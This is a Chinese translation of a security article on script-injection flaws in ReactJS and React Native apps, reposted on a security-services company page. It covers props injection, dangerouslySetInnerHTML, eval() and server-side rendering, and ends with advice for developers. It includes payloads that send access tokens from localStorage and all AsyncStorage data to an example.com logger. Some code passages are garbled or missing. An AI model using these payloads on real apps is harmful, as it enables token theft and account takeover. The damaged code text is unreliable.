利用脚本注入漏洞攻击ReactJS应用程序_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

利用脚本注入漏洞攻击ReactJS应用程序

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


利用脚本注入漏洞攻击ReactJS应用程序

译者:WisFree ReactJS是一款能够帮助开发者构建用户接口的热门JavaScript库。在它的帮助下,开发者可以构建出内容丰富的客户端或Web应用,并且提前加载内容以提供更好的用户体验。 从设计角度来看,只要你能够按照开发标准来使用ReactJS的话,它其实是非常安全的。但是在网络安全领域中,没有任何东西是绝对安全的,而错误的编程实践方式将导致类似脚本注入漏洞之类的问题产生,这些错误的编程方式包括: 1.利用用户提供的对象来创建React组件; 2.利用用户提供的href属性来配置"     }   } } 相关的漏洞缓解方案可以在React.js的GitHub主页上找到,感兴趣的同学可以参考。在2015年11月份,Sebastian Markbåge提交了一个修复方案:为React元素引入了$typeof: Symbol.for('react.element')属性。由于无法从一个注入对象引用全局JavaScript符号,所以Daniel设计的漏洞利用技术(注入child元素)就无法再使用了。 控制元素类型 虽然我们不能再将普通对象来当作ReactJS元素来使用了,但是组件注入并非不可能实现,因为createElement()函数还可以接受type参数中的字符串数据。我们假设开发者采用了如下所示的代码: 1 2 3 // Dynamically create an element from a string stored in the backend. element_name = stored_value; React.createElement(element_name, null); 如果stored_value是一个由攻击者控制的字符串,那我们就可以创建任意的React组件了。但是此时创建的是一个普通的无属性HTML元素,而这种东西对于攻击者来说是没有任何作用的。因此,我们必须要能够控制新创建元素的属性才可以。 注入属性(props) 请大家先看看下面给出的这段代码: 1 2 3 4 5 // Parse attacker-supplied JSON for some reason and pass // the resulting object as props. // Don't do this at home unless you are a trained expert! attacker_props = JSON.parse(stored_value) React.createElement("span", attacker_props}; 这样一来,我们就可以向新元素中注入任意属性了。我们可以使用下面给出的Payload来设置dangerouslySetInnerHTML属性: 1 {"dangerouslySetInnerHTML" : { "__html": ""}} 跨站脚本漏洞 某些传统的XSS攻击向量同样适用于ReactJS应用程序。请大家接着往下看: 显示地设置dangerouslySetInnerHTML属性 很多开发者可能会有目的地去设置dangerouslySetInnerHTML属性: 1 很明显,如果你能够控制这些属性的参数值,那你就能够注入任意的JavaScript代码了。 可注入的属性 如果你能够控制一个动态生成的 另一个非常奇怪的注入向量就是HTML imports: 1 服务器端呈现的HTML 为了降低初始化页面的呈现时间,很多开发人员会在服务器端预先加载React.JS页面(也就是所谓的“服务器端呈现”)。在2016年11月份,Emilia Smith发现官方Redux代码样本中存在一个跨站脚本漏洞(XSS),因为客户端状态被嵌入到了预呈现页面中并没有被过滤掉。(样本代码中的漏洞现在已经修复) 如果HTML页面在服务器端预呈现的话,你也许可以在普通的Web应用中找到类似的跨站脚本漏洞。 基于eval()的注入 如果应用程序使用了eval()来动态执行一个由你控制的注入字符串,那你就非常幸运了。在这种情况下,你就可以随意选择你需要注入的代码了: 1 2 3 function antiPattern() {   eval(this.state.attacker_supplied); } XSS Payload 在现代Web开发领域,很多机制的开发人员会选择使用无状态的会话令牌,并且将它们保存在客户端的本地存储中。因此,攻击者必须根据这种情况来设计相应的Payload。 当你在利用跨站脚本漏洞来攻击ReactJS Web应用程序时,你能够随意注入任意代码,如果再配合使用下面列出的代码,你就可以从目标设备的本地存储中获取访问令牌并将其发送到你的记录程序中: 1 2 fetch(‘http://example.com/logger.php? token='+localStorage.access_token); React Native React Native是一款移动应用开发框架,它可以帮助开发人员使用ReactJS构建原生移动应用。更确切地说,它提供了一个能够再移动设备上运行React JavaScript包的运行时环境。除此之外,我们还可以使用React Native for Web让一个React Native应用在普通的Web浏览器中运行。 但是就我们目前的研究结果来看,上面列出的脚本注入向量都不适用于React Native: 1.React Native的createInternalComponent方法只接受包含标签的component类,所以即便是你能够完全控制传递给createElement()的参数,你野无法创建任意元素; 2.不存在HTML元素,HTML代码也不会被解析,所以普通的基于浏览器的XSS向量(例如'href')就无法正常工作了。 只有基于eval()的变量才可以在移动设备上被攻击者利用。如果你能够通过eval()注入JavaScript代码,你就可以访问React Native API并做一些有趣的事情了。比如说,你可以从本地存储(AsyncStorage)中窃取数据了,相关的操作代码如下所示: 1 2 3 4 _reactNative.AsyncStorage.getAllKeys(function(err,result) {_reactNative.AsyncStorage.multiGet(result,function(err,result) {fetch(‘http://example.com/logger.php? token='+JSON.stringify(result));});}); 建议 虽然从设计的角度出发,ReactJS还是非常安全的,但是这个世界上没有绝对安全的东西,不好的编程习惯将导致各种严重的安全漏洞出现: 我们建议各位开发者们不要再使用eval()函数或dangerouslySetInnerHTML属性,并避免解析用户提供的JSON数据。 本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。 原文链接:https://medium.com/@muellerberndt/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1

利用脚本注入漏洞攻击ReactJS应用程序